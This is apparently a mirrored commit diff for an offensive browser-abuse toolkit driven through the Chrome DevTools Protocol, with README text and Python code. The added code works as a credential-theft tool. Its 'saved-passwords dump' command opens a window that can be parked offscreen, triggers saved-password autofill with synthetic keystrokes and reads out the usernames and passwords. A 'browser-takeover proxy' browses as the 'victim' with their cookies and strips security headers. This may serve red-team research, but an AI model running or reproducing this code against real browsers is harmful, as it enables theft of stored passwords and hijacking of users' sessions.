mirror of
https://github.com/KingOfTheNOPs/CDP-Toolkit
synced 2026-06-29 08:59:48 +00:00
updates
This commit is contained in:
@@ -96,18 +96,30 @@ Lists saved-password site metadata through the browser's password manager WebUI.
|
||||
|
||||
This command inventories saved-password metadata. It does not decrypt passwords directly and does not read the `Login Data` database.
|
||||
|
||||
> [!WARNING]
|
||||
> `saved-passwords list` opens the browser password-manager/settings WebUI through CDP. Edge only populates saved-password rows in a visible target in current testing, so Edge is restricted to `--mode visible`. Chrome works with `--mode visible`, `--mode background`, and `--mode hidden`.
|
||||
|
||||
```powershell
|
||||
cdptk saved-passwords list --cdp-endpoint http://127.0.0.1:9222 --out saved-password-sites.json
|
||||
```
|
||||
|
||||
### `saved-passwords dump`
|
||||
|
||||
Attempts an autofill-backed password recovery workflow against a real origin. The command creates a target, navigates to the origin, uses either an injected controlled login form or provided selectors, triggers browser autofill with user-like input, and reads the resulting field values through CDP.
|
||||
Attempts an autofill-backed password recovery workflow against a real origin. The command creates a real browser window, optionally parks it offscreen, enables focus emulation, uses either the page's login form or an injected controlled form, triggers browser password autofill with CDP input events, and reads the resulting field values through CDP.
|
||||
|
||||
This depends on browser state. Autofill behavior can vary based on visibility, user gesture requirements, password manager settings, enterprise policy, origin matching, and whether the browser is willing to fill the form.
|
||||
Start with the real saved login URL and `--no-inject-form`. The saved-password realm and login URL have to match closely. Prefer the exact URL Chrome shows for the saved site, such as `http://test.local/`; a different path, host, or port can prevent the popup from offering the credential even when a similar page is served. `--inject-form` is still useful when the page markup fights autofill, but current testing shows the real page is the better first attempt.
|
||||
|
||||
The popup selection path is deliberately simple: click a credential field, wait for Chromium's saved-password popup, send `ArrowDown` and `Enter` through CDP keyboard events, then read the field values. It tries the username field first, then the password field if needed. The popup is browser UI, so the tool avoids coordinate-clicking the black popup row. Tune `--popup-open-ms` if a slow site needs more time before the keyboard selection.
|
||||
|
||||
> [!WARNING]
|
||||
> `saved-passwords dump` defaults to `--mode visible` because Chromium's browser-side password popup is native browser UI. `--mode offscreen` parks the window at negative coordinates; Edge handled that in testing, but Chrome may fail if its saved-password popup cannot anchor to the offscreen native window.
|
||||
|
||||
By default, the command prints a compact JSON result with the recovered values and the attempt that worked. Use `--full` when you need the diagnostic window bounds, field geometry, and per-attempt details.
|
||||
|
||||
```powershell
|
||||
cdptk saved-passwords dump https://example.com --cdp-endpoint http://127.0.0.1:9222 --mode visible --out autofill.json
|
||||
cdptk saved-passwords dump http://test.local/ --cdp-endpoint http://127.0.0.1:9222 --no-inject-form --out autofill.json
|
||||
cdptk saved-passwords dump https://example.com/login --cdp-endpoint http://127.0.0.1:9222 --mode visible --popup-open-ms 1200 --out autofill.json
|
||||
cdptk saved-passwords dump https://example.com/login --cdp-endpoint http://127.0.0.1:9222 --full --out autofill-debug.json
|
||||
cdptk saved-passwords dump https://example.com --cdp-endpoint http://127.0.0.1:9222 --no-inject-form --username-selector "#user" --password-selector "#pass"
|
||||
```
|
||||
|
||||
@@ -197,7 +209,6 @@ Modes:
|
||||
| Mode | What it does |
|
||||
| --- | --- |
|
||||
| `offscreen` | Creates a dedicated window and moves it off-screen before screencasting it. |
|
||||
| `foreground` | Creates a visible window, useful for troubleshooting. |
|
||||
| `background` | Creates a background tab in the current browser window. |
|
||||
|
||||
### `browser-takeover proxy`
|
||||
@@ -211,6 +222,9 @@ cdptk browser-takeover proxy `
|
||||
--cdp-endpoint http://127.0.0.1:9222 `
|
||||
--listen 127.0.0.1:8080 `
|
||||
--cert-dir runs/proxy/certs `
|
||||
--mode hidden `
|
||||
--resource-strategy safe `
|
||||
--download-policy deny `
|
||||
-v
|
||||
```
|
||||
|
||||
@@ -227,8 +241,9 @@ What the proxy does:
|
||||
- Uses victim Chrome to perform upstream document requests.
|
||||
- Preserves victim Chrome cookies and user agent where CDP exposes them.
|
||||
- Strips blocking CSP/CORS/framing headers to improve operator-side renderability.
|
||||
- Uses `Network.loadNetworkResource` for GET/HEAD subresources such as fonts, scripts, styles, images, and download-prone extensions so those bytes stream back to the operator instead of causing victim-side downloads.
|
||||
- Denies hidden-tab browser downloads by default with `--deny-downloads`.
|
||||
- `--mode hidden` uses hidden CDP fetch targets when supported. Use `--mode background` when hidden targets are unsupported or you want visible browser tabs for troubleshooting.
|
||||
- `--resource-strategy safe` uses `Network.loadNetworkResource` for GET/HEAD subresources such as fonts, scripts, styles, images, and download-prone extensions so those bytes stream back to the operator instead of causing victim-side downloads. Use `--resource-strategy navigate` to force the older navigate-everything behavior.
|
||||
- `--download-policy deny` asks each CDP fetch target to deny browser downloads while proxying. Use `--download-policy allow` when you intentionally want browser-managed downloads.
|
||||
- Retries top-level GET/HEAD attachment navigations that abort with `net::ERR_ABORTED` using a same-origin `Runtime.evaluate(fetch(..., credentials: "include"))` fallback so the operator browser can receive the file.
|
||||
|
||||
Proxy mode is useful for targeted request/response workflows and for browsing from the victim browser's network position. It is less faithful than screencast mode for complex portals because the operator browser renders and executes JavaScript locally while victim Chrome performs upstream fetches.
|
||||
|
||||
+357
-64
@@ -1,6 +1,8 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import base64
|
||||
import contextlib
|
||||
import json
|
||||
import sys
|
||||
from pathlib import Path
|
||||
@@ -12,11 +14,11 @@ from rich.table import Table
|
||||
|
||||
from .cdp_proxy import BrowseAsVictimProxyOptions, serve_browse_as_victim_proxy
|
||||
from .client import CDPClient
|
||||
from .discovery import get_version, list_http_targets
|
||||
from .discovery import get_json, get_version, list_http_targets
|
||||
from .log import info, set_verbose, warn
|
||||
from .redact import redact_cookies
|
||||
from .remote_browser import RemoteBrowserOptions, serve_remote_browser
|
||||
from .webui import collect_bookmarks, collect_extensions, collect_history, collect_password_sites
|
||||
from .webui import collect_bookmarks, collect_extensions, collect_history, collect_password_sites, product_prefix
|
||||
|
||||
HELP_SETTINGS = {"help_option_names": ["-h", "--help"]}
|
||||
|
||||
@@ -265,7 +267,7 @@ def tabs_screenshot(
|
||||
def browser_takeover_screencast(
|
||||
start_url: str = typer.Option("about:blank", "--start-url", "--url", help="Initial URL for the remote browser target."),
|
||||
listen: str = typer.Option("127.0.0.1:8093", "--listen", "-l", help="Operator web console bind address as HOST:PORT."),
|
||||
mode: str = typer.Option("offscreen", "--mode", help="offscreen, foreground, background"),
|
||||
mode: str = typer.Option("offscreen", "--mode", help="offscreen or background"),
|
||||
width: int = typer.Option(1440, "--width", min=320, max=7680, help="Remote viewport/window width."),
|
||||
height: int = typer.Option(900, "--height", min=240, max=4320, help="Remote viewport/window height."),
|
||||
quality: int = typer.Option(70, "--quality", min=1, max=100, help="JPEG screencast quality."),
|
||||
@@ -281,8 +283,8 @@ def browser_takeover_screencast(
|
||||
"""Serve a local operator console that drives a CDP target via screencast."""
|
||||
|
||||
host, port = parse_listen(listen)
|
||||
if mode not in {"offscreen", "foreground", "background"}:
|
||||
raise typer.BadParameter("--mode must be offscreen, foreground, or background")
|
||||
if mode not in {"offscreen", "background"}:
|
||||
raise typer.BadParameter("--mode must be offscreen or background")
|
||||
options = RemoteBrowserOptions(
|
||||
cdp_endpoint=cdp_endpoint,
|
||||
socks=socks,
|
||||
@@ -310,25 +312,23 @@ def browser_takeover_screencast(
|
||||
def browser_takeover_proxy(
|
||||
listen: str = typer.Option("127.0.0.1:8080", "--listen", "-l", help="Operator browser proxy bind address as HOST:PORT."),
|
||||
cert_dir: Path = typer.Option(Path("runs/proxy/certs"), "--cert-dir", help="Directory for the generated CA and leaf certificates."),
|
||||
pool_size: int = typer.Option(3, "--pool-size", min=1, max=16, help="Number of hidden CDP fetch tabs."),
|
||||
pool_size: int = typer.Option(3, "--pool-size", min=1, max=16, help="Number of CDP fetch workers."),
|
||||
fetch_timeout: float = typer.Option(20.0, "--fetch-timeout", min=1.0, max=180.0, help="Seconds to wait for each CDP-backed fetch."),
|
||||
hidden: bool = typer.Option(True, "--hidden/--background", help="Use hidden targets when supported; otherwise use background tabs."),
|
||||
subresource_loader: bool = typer.Option(
|
||||
True,
|
||||
"--subresource-loader/--navigate-subresources",
|
||||
help="Use Network.loadNetworkResource for GET/HEAD subresources to avoid victim-side downloads.",
|
||||
),
|
||||
deny_downloads: bool = typer.Option(
|
||||
True,
|
||||
"--deny-downloads/--allow-downloads",
|
||||
help="Ask each hidden CDP fetch tab to deny browser downloads while proxying.",
|
||||
),
|
||||
mode: str = typer.Option("hidden", "--mode", help="CDP fetch target type: hidden or background."),
|
||||
resource_strategy: str = typer.Option("safe", "--resource-strategy", help="Resource handling: safe or navigate."),
|
||||
download_policy: str = typer.Option("deny", "--download-policy", help="Browser download handling in fetch targets: deny or allow."),
|
||||
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
|
||||
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
|
||||
) -> None:
|
||||
"""Serve a local HTTP/HTTPS proxy that fetches upstream through victim Chrome."""
|
||||
|
||||
host, port = parse_listen(listen)
|
||||
if mode not in {"hidden", "background"}:
|
||||
raise typer.BadParameter("--mode must be hidden or background")
|
||||
if resource_strategy not in {"safe", "navigate"}:
|
||||
raise typer.BadParameter("--resource-strategy must be safe or navigate")
|
||||
if download_policy not in {"deny", "allow"}:
|
||||
raise typer.BadParameter("--download-policy must be deny or allow")
|
||||
options = BrowseAsVictimProxyOptions(
|
||||
cdp_endpoint=cdp_endpoint,
|
||||
socks=socks,
|
||||
@@ -337,9 +337,9 @@ def browser_takeover_proxy(
|
||||
cert_dir=cert_dir,
|
||||
pool_size=pool_size,
|
||||
fetch_timeout=fetch_timeout,
|
||||
hidden=hidden,
|
||||
subresource_loader=subresource_loader,
|
||||
deny_downloads=deny_downloads,
|
||||
hidden=mode == "hidden",
|
||||
subresource_loader=resource_strategy == "safe",
|
||||
deny_downloads=download_policy == "deny",
|
||||
)
|
||||
try:
|
||||
run(serve_browse_as_victim_proxy(options))
|
||||
@@ -546,12 +546,21 @@ def saved_passwords_list(
|
||||
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
|
||||
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
|
||||
limit: int = typer.Option(500, "--limit", "-n"),
|
||||
mode: str = typer.Option("hidden", "--mode", help="visible, background, hidden"),
|
||||
mode: str = typer.Option("visible", "--mode", help="Chrome: visible/background/hidden. Edge: visible only."),
|
||||
out: Optional[Path] = typer.Option(None, "--out", "-o"),
|
||||
) -> None:
|
||||
"""List saved-password site metadata through CDP. Does not decrypt passwords."""
|
||||
|
||||
async def _run():
|
||||
if mode not in {"visible", "background", "hidden"}:
|
||||
raise typer.BadParameter("--mode must be visible, background, or hidden")
|
||||
version = await get_json(cdp_endpoint, "/json/version", proxy=socks)
|
||||
product = version.get("Browser", "") if isinstance(version, dict) else ""
|
||||
if product_prefix(product) == "edge" and mode != "visible":
|
||||
raise typer.BadParameter(
|
||||
"Edge saved-passwords list only supports --mode visible; "
|
||||
"Chrome supports visible, background, and hidden."
|
||||
)
|
||||
async with await CDPClient.connect(cdp_endpoint, socks) as cdp:
|
||||
return await collect_password_sites(cdp, limit=limit, mode=mode)
|
||||
|
||||
@@ -565,32 +574,64 @@ def saved_passwords_dump(
|
||||
origin: str = typer.Argument(..., help="Origin to test with browser autofill, e.g. https://login.example.com."),
|
||||
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
|
||||
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
|
||||
mode: str = typer.Option("visible", "--mode", help="visible, background, hidden"),
|
||||
username_selector: str = typer.Option("#username", "--username-selector"),
|
||||
password_selector: str = typer.Option("#password", "--password-selector"),
|
||||
inject_form: bool = typer.Option(True, "--inject-form/--no-inject-form"),
|
||||
mode: str = typer.Option("visible", "--mode", help="visible or offscreen; visible is more reliable for browser-side autofill UI."),
|
||||
window_left: int = typer.Option(-31337, "--window-left", help="Offscreen window X coordinate."),
|
||||
window_top: int = typer.Option(-31337, "--window-top", help="Offscreen window Y coordinate."),
|
||||
width: int = typer.Option(1600, "--width", min=320, max=7680),
|
||||
height: int = typer.Option(1000, "--height", min=240, max=4320),
|
||||
username_selector: str = typer.Option('#username, #email, input[autocomplete="username"], input[name="username"], input[type="email"]', "--username-selector"),
|
||||
password_selector: str = typer.Option('#password, #current-password, input[autocomplete="current-password"], input[type="password"]', "--password-selector"),
|
||||
popup_open_ms: int = typer.Option(900, "--popup-open-ms", help="Milliseconds to wait after clicking a credential field for the saved-password popup to appear."),
|
||||
debug_screenshot: Optional[Path] = typer.Option(None, "--debug-screenshot", help="Write a full-size page screenshot before closing the autofill target."),
|
||||
debug_hold_after_open_ms: int = typer.Option(0, "--debug-hold-after-open-ms", min=0, max=300000, help="Hold after opening the saved-password popup and before sending keyboard selection."),
|
||||
debug_hold_ms: int = typer.Option(0, "--debug-hold-ms", min=0, max=300000, help="Keep the autofill target open for this many milliseconds before cleanup."),
|
||||
inject_form: bool = typer.Option(False, "--inject-form/--no-inject-form"),
|
||||
full: bool = typer.Option(False, "--full", help="Include diagnostic window bounds, field geometry, and attempt details in JSON output."),
|
||||
out: Optional[Path] = typer.Option(None, "--out", "-o"),
|
||||
) -> None:
|
||||
"""Attempt a controlled-form autofill readback on a real origin."""
|
||||
|
||||
async def _run():
|
||||
html = """
|
||||
<!doctype html><meta charset=utf-8>
|
||||
<form>
|
||||
<input id=u name=username autocomplete=username>
|
||||
<input id=p name=password type=password autocomplete=current-password>
|
||||
</form>
|
||||
<script>document.querySelector('#u').focus();</script>
|
||||
if mode not in {"offscreen", "visible"}:
|
||||
raise typer.BadParameter("--mode must be visible or offscreen")
|
||||
|
||||
form_html = """
|
||||
<main style="font-family: sans-serif; max-width: 520px; margin: 48px;">
|
||||
<h1>Login Page</h1>
|
||||
<form id="cdptk-login-form" method="post" autocomplete="on">
|
||||
<label for="username">Username</label>
|
||||
<input id="username" name="username" type="text" autocomplete="username"
|
||||
style="display:block; width:420px; margin:8px 0 16px; font-size:16px;">
|
||||
<label for="current-password">Password</label>
|
||||
<input id="current-password" name="password" type="password" autocomplete="current-password"
|
||||
style="display:block; width:420px; margin:8px 0 16px; font-size:16px;">
|
||||
<button id="submit" type="submit">Login</button>
|
||||
</form>
|
||||
</main>
|
||||
"""
|
||||
if inject_form:
|
||||
user_sel = "#u"
|
||||
pass_sel = "#p"
|
||||
user_sel = "#username"
|
||||
pass_sel = "#current-password"
|
||||
else:
|
||||
user_sel = username_selector
|
||||
pass_sel = password_selector
|
||||
|
||||
user_sel_js = json.dumps(user_sel)
|
||||
pass_sel_js = json.dumps(pass_sel)
|
||||
form_html_js = json.dumps(form_html)
|
||||
inject_expr = f"""
|
||||
(() => {{
|
||||
let body = document.body;
|
||||
if (!body) {{
|
||||
body = document.createElement('body');
|
||||
document.documentElement.appendChild(body);
|
||||
}}
|
||||
body.innerHTML = {form_html_js};
|
||||
const user = document.querySelector({user_sel_js});
|
||||
if (user) user.focus();
|
||||
return !!user;
|
||||
}})()
|
||||
"""
|
||||
ready_expr = f"""
|
||||
(() => {{
|
||||
const user = document.querySelector({user_sel_js});
|
||||
@@ -598,7 +639,10 @@ def saved_passwords_dump(
|
||||
return {{
|
||||
readyState: document.readyState,
|
||||
hasUser: !!user,
|
||||
hasPass: !!pass
|
||||
hasPass: !!pass,
|
||||
visibilityState: document.visibilityState,
|
||||
documentHidden: document.hidden,
|
||||
hasFocus: document.hasFocus()
|
||||
}};
|
||||
}})()
|
||||
"""
|
||||
@@ -611,12 +655,27 @@ def saved_passwords_dump(
|
||||
return {{
|
||||
username_x: ub.left + ub.width / 2,
|
||||
username_y: ub.top + ub.height / 2,
|
||||
username_left: ub.left,
|
||||
username_top: ub.top,
|
||||
username_right: ub.right,
|
||||
username_bottom: ub.bottom,
|
||||
username_width: ub.width,
|
||||
username_height: ub.height,
|
||||
password_x: pb.left + pb.width / 2,
|
||||
password_y: pb.top + pb.height / 2,
|
||||
password_left: pb.left,
|
||||
password_top: pb.top,
|
||||
password_right: pb.right,
|
||||
password_bottom: pb.bottom,
|
||||
password_width: pb.width,
|
||||
password_height: pb.height,
|
||||
autocomplete_user: user.autocomplete || "",
|
||||
autocomplete_pass: pass.autocomplete || "",
|
||||
initial_username: user.value,
|
||||
initial_password: pass.value
|
||||
initial_password: pass.value,
|
||||
inner_width: window.innerWidth,
|
||||
inner_height: window.innerHeight,
|
||||
device_pixel_ratio: window.devicePixelRatio
|
||||
}};
|
||||
}})()
|
||||
"""
|
||||
@@ -636,41 +695,146 @@ def saved_passwords_dump(
|
||||
result = await session.evaluate(expression)
|
||||
return result.get("result", {}).get("value")
|
||||
|
||||
async def click(session, x: float, y: float) -> None:
|
||||
await session.send("Input.dispatchMouseEvent", {"type": "mouseMoved", "x": x, "y": y, "button": "none"})
|
||||
await session.send("Input.dispatchMouseEvent", {"type": "mousePressed", "x": x, "y": y, "button": "left", "clickCount": 1})
|
||||
await session.send("Input.dispatchMouseEvent", {"type": "mouseReleased", "x": x, "y": y, "button": "left", "clickCount": 1})
|
||||
|
||||
async def key(session, event_type: str, key_name: str, code: str, vk: int) -> None:
|
||||
async def move(session, x: float, y: float) -> None:
|
||||
await session.send(
|
||||
"Input.dispatchKeyEvent",
|
||||
"Input.dispatchMouseEvent",
|
||||
{"type": "mouseMoved", "x": x, "y": y, "button": "none", "buttons": 0, "pointerType": "mouse"},
|
||||
)
|
||||
|
||||
async def click(session, x: float, y: float) -> None:
|
||||
await move(session, x, y)
|
||||
await session.send(
|
||||
"Input.dispatchMouseEvent",
|
||||
{
|
||||
"type": event_type,
|
||||
"key": key_name,
|
||||
"code": code,
|
||||
"windowsVirtualKeyCode": vk,
|
||||
"nativeVirtualKeyCode": vk,
|
||||
"type": "mousePressed",
|
||||
"x": x,
|
||||
"y": y,
|
||||
"button": "left",
|
||||
"buttons": 1,
|
||||
"clickCount": 1,
|
||||
"pointerType": "mouse",
|
||||
},
|
||||
)
|
||||
await session.send(
|
||||
"Input.dispatchMouseEvent",
|
||||
{
|
||||
"type": "mouseReleased",
|
||||
"x": x,
|
||||
"y": y,
|
||||
"button": "left",
|
||||
"buttons": 0,
|
||||
"clickCount": 1,
|
||||
"pointerType": "mouse",
|
||||
},
|
||||
)
|
||||
|
||||
async def key(
|
||||
session,
|
||||
event_type: str,
|
||||
key_name: str,
|
||||
code: str,
|
||||
vk: int,
|
||||
modifiers: int = 0,
|
||||
text: str | None = None,
|
||||
) -> None:
|
||||
payload = {
|
||||
"type": event_type,
|
||||
"key": key_name,
|
||||
"code": code,
|
||||
"windowsVirtualKeyCode": vk,
|
||||
"nativeVirtualKeyCode": vk,
|
||||
"modifiers": modifiers,
|
||||
"autoRepeat": False,
|
||||
"isSystemKey": False,
|
||||
}
|
||||
if code == "ArrowDown":
|
||||
payload["keyIdentifier"] = "Down"
|
||||
elif code == "ArrowUp":
|
||||
payload["keyIdentifier"] = "Up"
|
||||
elif code == "Enter":
|
||||
payload["keyIdentifier"] = "Enter"
|
||||
if text is not None and event_type == "keyDown":
|
||||
payload["text"] = text
|
||||
payload["unmodifiedText"] = text
|
||||
await session.send("Input.dispatchKeyEvent", payload)
|
||||
|
||||
async def press_key(
|
||||
session,
|
||||
key_name: str,
|
||||
code: str,
|
||||
vk: int,
|
||||
*,
|
||||
down_type: str = "rawKeyDown",
|
||||
text: str | None = None,
|
||||
) -> None:
|
||||
await key(session, down_type, key_name, code, vk, text=text)
|
||||
await key(session, "keyUp", key_name, code, vk)
|
||||
|
||||
async def write_debug_screenshot(session, path: Path) -> str:
|
||||
result = await session.send("Page.captureScreenshot", {"format": "png", "fromSurface": True})
|
||||
path.parent.mkdir(parents=True, exist_ok=True)
|
||||
path.write_bytes(base64.b64decode(result["data"]))
|
||||
info("wrote debug screenshot {}", path)
|
||||
return str(path)
|
||||
|
||||
async with await CDPClient.connect(cdp_endpoint, socks) as cdp:
|
||||
target_id = await cdp.create_target(origin, mode=mode)
|
||||
params = {
|
||||
"url": origin,
|
||||
"newWindow": True,
|
||||
"width": width,
|
||||
"height": height,
|
||||
"windowState": "normal",
|
||||
"focus": True,
|
||||
}
|
||||
if mode == "offscreen":
|
||||
params["left"] = window_left
|
||||
params["top"] = window_top
|
||||
info("creating autofill target mode={} origin={}", mode, origin)
|
||||
target_id = (await cdp.send("Target.createTarget", params))["targetId"]
|
||||
actual_window_bounds = None
|
||||
with contextlib.suppress(Exception):
|
||||
await cdp.send("Target.activateTarget", {"targetId": target_id})
|
||||
with contextlib.suppress(Exception):
|
||||
window = await cdp.send("Browser.getWindowForTarget", {"targetId": target_id})
|
||||
await cdp.send("Browser.setWindowBounds", {"windowId": window["windowId"], "bounds": {"windowState": "normal"}})
|
||||
bounds = {"width": width, "height": height}
|
||||
if mode == "offscreen":
|
||||
bounds["left"] = window_left
|
||||
bounds["top"] = window_top
|
||||
await cdp.send("Browser.setWindowBounds", {"windowId": window["windowId"], "bounds": bounds})
|
||||
actual_window_bounds = (await cdp.send("Browser.getWindowBounds", {"windowId": window["windowId"]})).get("bounds")
|
||||
session = await cdp.attach(target_id)
|
||||
try:
|
||||
await session.send("Page.enable")
|
||||
await session.send("Runtime.enable")
|
||||
await session.send("DOM.enable")
|
||||
with contextlib.suppress(Exception):
|
||||
await session.send("Page.bringToFront")
|
||||
try:
|
||||
await session.send("Emulation.setFocusEmulationEnabled", {"enabled": True})
|
||||
focus_emulation = True
|
||||
except Exception as exc:
|
||||
info(f"focus emulation unavailable: {exc}")
|
||||
await session.send("Page.navigate", {"url": origin})
|
||||
await asyncio.sleep(1.0)
|
||||
focus_emulation = False
|
||||
with contextlib.suppress(Exception):
|
||||
await session.send(
|
||||
"Emulation.setDeviceMetricsOverride",
|
||||
{
|
||||
"width": width,
|
||||
"height": height,
|
||||
"deviceScaleFactor": 1,
|
||||
"mobile": False,
|
||||
"screenWidth": width,
|
||||
"screenHeight": height,
|
||||
},
|
||||
)
|
||||
if inject_form:
|
||||
frame_id = (await session.send("Page.getFrameTree"))["frameTree"]["frame"]["id"]
|
||||
await session.send("Page.setDocumentContent", {"frameId": frame_id, "html": html})
|
||||
await asyncio.sleep(1.0)
|
||||
await value_from_eval(session, inject_expr)
|
||||
await asyncio.sleep(0.5)
|
||||
|
||||
ready = False
|
||||
state = {}
|
||||
for _ in range(30):
|
||||
state = await value_from_eval(session, ready_expr) or {}
|
||||
if state.get("hasUser") and state.get("hasPass") and state.get("readyState") in {"interactive", "complete"}:
|
||||
@@ -681,26 +845,155 @@ def saved_passwords_dump(
|
||||
raise typer.BadParameter("target page never exposed the requested username/password selectors")
|
||||
|
||||
pos = await value_from_eval(session, pos_expr) or {}
|
||||
await click(session, float(pos["username_x"]), float(pos["username_y"]))
|
||||
await asyncio.sleep(0.5)
|
||||
await key(session, "keyDown", "ArrowDown", "ArrowDown", 40)
|
||||
await key(session, "keyUp", "ArrowDown", "ArrowDown", 40)
|
||||
await asyncio.sleep(0.2)
|
||||
await key(session, "keyDown", "Enter", "Enter", 13)
|
||||
await key(session, "keyUp", "Enter", "Enter", 13)
|
||||
await asyncio.sleep(1.0)
|
||||
result = await value_from_eval(session, read_expr) or {}
|
||||
attempts = []
|
||||
result = {}
|
||||
|
||||
popup_open = max(popup_open_ms, 0) / 1000.0
|
||||
|
||||
async def run_keyboard_attempt(
|
||||
name: str,
|
||||
*,
|
||||
x: float,
|
||||
y: float,
|
||||
opened_from: str,
|
||||
sequence: str,
|
||||
down_type: str = "rawKeyDown",
|
||||
enter_text: str | None = None,
|
||||
) -> bool:
|
||||
nonlocal result
|
||||
info("trying saved-password popup keyboard path {}", name)
|
||||
await click(session, x, y)
|
||||
await asyncio.sleep(popup_open)
|
||||
if debug_hold_after_open_ms > 0:
|
||||
info("holding after {} popup open for {} ms", opened_from, debug_hold_after_open_ms)
|
||||
await asyncio.sleep(debug_hold_after_open_ms / 1000.0)
|
||||
|
||||
await press_key(session, "ArrowDown", "ArrowDown", 40, down_type=down_type)
|
||||
await asyncio.sleep(0.4)
|
||||
after_arrow = await value_from_eval(session, read_expr) or {}
|
||||
|
||||
enter_sent = False
|
||||
if not after_arrow.get("password"):
|
||||
enter_sent = True
|
||||
await press_key(session, "Enter", "Enter", 13, down_type=down_type, text=enter_text)
|
||||
await asyncio.sleep(1.0)
|
||||
result = await value_from_eval(session, read_expr) or {}
|
||||
else:
|
||||
result = after_arrow
|
||||
|
||||
item = {
|
||||
"attempt": name,
|
||||
"username_filled": bool(result.get("username")),
|
||||
"password_filled": bool(result.get("password")),
|
||||
"after_arrow_username_filled": bool(after_arrow.get("username")),
|
||||
"after_arrow_password_filled": bool(after_arrow.get("password")),
|
||||
"enter_sent": enter_sent,
|
||||
"popup_open_ms": popup_open_ms,
|
||||
"opened_from": opened_from,
|
||||
"sequence": sequence,
|
||||
}
|
||||
attempts.append(item)
|
||||
return bool(result.get("password"))
|
||||
|
||||
if not await run_keyboard_attempt(
|
||||
"username-popup-arrow-enter",
|
||||
x=float(pos["username_x"]),
|
||||
y=float(pos["username_y"]),
|
||||
opened_from="username",
|
||||
sequence="click-username, arrow-down, enter-if-needed",
|
||||
):
|
||||
if not await run_keyboard_attempt(
|
||||
"password-popup-arrow-enter",
|
||||
x=float(pos["password_x"]),
|
||||
y=float(pos["password_y"]),
|
||||
opened_from="password",
|
||||
sequence="click-password, arrow-down, enter-if-needed",
|
||||
):
|
||||
if not await run_keyboard_attempt(
|
||||
"username-popup-keydown-arrow-enter",
|
||||
x=float(pos["username_x"]),
|
||||
y=float(pos["username_y"]),
|
||||
opened_from="username",
|
||||
sequence="click-username, keydown-arrow-down, keydown-enter-if-needed",
|
||||
down_type="keyDown",
|
||||
enter_text="\r",
|
||||
):
|
||||
await run_keyboard_attempt(
|
||||
"password-popup-keydown-arrow-enter",
|
||||
x=float(pos["password_x"]),
|
||||
y=float(pos["password_y"]),
|
||||
opened_from="password",
|
||||
sequence="click-password, keydown-arrow-down, keydown-enter-if-needed",
|
||||
down_type="keyDown",
|
||||
enter_text="\r",
|
||||
)
|
||||
result["autocomplete_user"] = pos.get("autocomplete_user", "")
|
||||
result["autocomplete_pass"] = pos.get("autocomplete_pass", "")
|
||||
result["initial_username"] = pos.get("initial_username", "")
|
||||
result["initial_password"] = pos.get("initial_password", "")
|
||||
result["focus_emulation"] = focus_emulation
|
||||
result["initial_page_state"] = state
|
||||
result["field_geometry"] = {
|
||||
key: pos.get(key)
|
||||
for key in (
|
||||
"username_x",
|
||||
"username_y",
|
||||
"username_left",
|
||||
"username_top",
|
||||
"username_right",
|
||||
"username_bottom",
|
||||
"username_width",
|
||||
"username_height",
|
||||
"password_x",
|
||||
"password_y",
|
||||
"password_left",
|
||||
"password_top",
|
||||
"password_right",
|
||||
"password_bottom",
|
||||
"password_width",
|
||||
"password_height",
|
||||
"inner_width",
|
||||
"inner_height",
|
||||
"device_pixel_ratio",
|
||||
)
|
||||
}
|
||||
result["attempts"] = attempts
|
||||
if debug_screenshot:
|
||||
result["debug_screenshot"] = await write_debug_screenshot(session, debug_screenshot)
|
||||
if debug_hold_ms > 0:
|
||||
info("holding autofill target open for {} ms", debug_hold_ms)
|
||||
await asyncio.sleep(debug_hold_ms / 1000.0)
|
||||
finally:
|
||||
try:
|
||||
await cdp.detach(session)
|
||||
finally:
|
||||
await cdp.close_target(target_id)
|
||||
data = {"origin": origin, "mode": mode, "result": result}
|
||||
dump_json(data, out)
|
||||
successful_attempt = next((attempt for attempt in result.get("attempts", []) if attempt.get("password_filled")), None)
|
||||
compact = {
|
||||
"url": result.get("url", origin),
|
||||
"mode": mode,
|
||||
"success": bool(result.get("password")),
|
||||
"username": result.get("username", ""),
|
||||
"password": result.get("password", ""),
|
||||
"attempt": successful_attempt.get("attempt") if successful_attempt else None,
|
||||
"opened_from": successful_attempt.get("opened_from") if successful_attempt else None,
|
||||
}
|
||||
if debug_screenshot and result.get("debug_screenshot"):
|
||||
compact["debug_screenshot"] = result["debug_screenshot"]
|
||||
|
||||
data = {
|
||||
"origin": origin,
|
||||
"mode": mode,
|
||||
"window": {
|
||||
"left": window_left,
|
||||
"top": window_top,
|
||||
"width": width,
|
||||
"height": height,
|
||||
"actual_bounds": actual_window_bounds,
|
||||
},
|
||||
"result": result,
|
||||
}
|
||||
dump_json(data if full else compact, out)
|
||||
|
||||
run(_run())
|
||||
|
||||
|
||||
@@ -64,8 +64,8 @@ class RemoteBrowserServer:
|
||||
self._started_at = time.time()
|
||||
|
||||
async def start(self) -> None:
|
||||
if self.options.mode not in {"offscreen", "foreground", "background"}:
|
||||
raise ValueError("--mode must be offscreen, foreground, or background")
|
||||
if self.options.mode not in {"offscreen", "background"}:
|
||||
raise ValueError("--mode must be offscreen or background")
|
||||
|
||||
self.cdp = await CDPClient.connect(self.options.cdp_endpoint, self.options.socks)
|
||||
await self._create_target()
|
||||
@@ -124,18 +124,17 @@ class RemoteBrowserServer:
|
||||
params: dict[str, Any] = {"url": "about:blank"}
|
||||
if self.browser_context_id:
|
||||
params["browserContextId"] = self.browser_context_id
|
||||
if self.options.mode in {"offscreen", "foreground"}:
|
||||
if self.options.mode == "offscreen":
|
||||
params.update(
|
||||
{
|
||||
"newWindow": True,
|
||||
"width": self.options.width,
|
||||
"height": self.options.height,
|
||||
"background": self.options.mode == "offscreen",
|
||||
"background": True,
|
||||
}
|
||||
)
|
||||
if self.options.mode == "offscreen":
|
||||
params["left"] = self.options.offscreen_left
|
||||
params["top"] = self.options.offscreen_top
|
||||
params["left"] = self.options.offscreen_left
|
||||
params["top"] = self.options.offscreen_top
|
||||
elif self.options.mode == "background":
|
||||
params["background"] = True
|
||||
|
||||
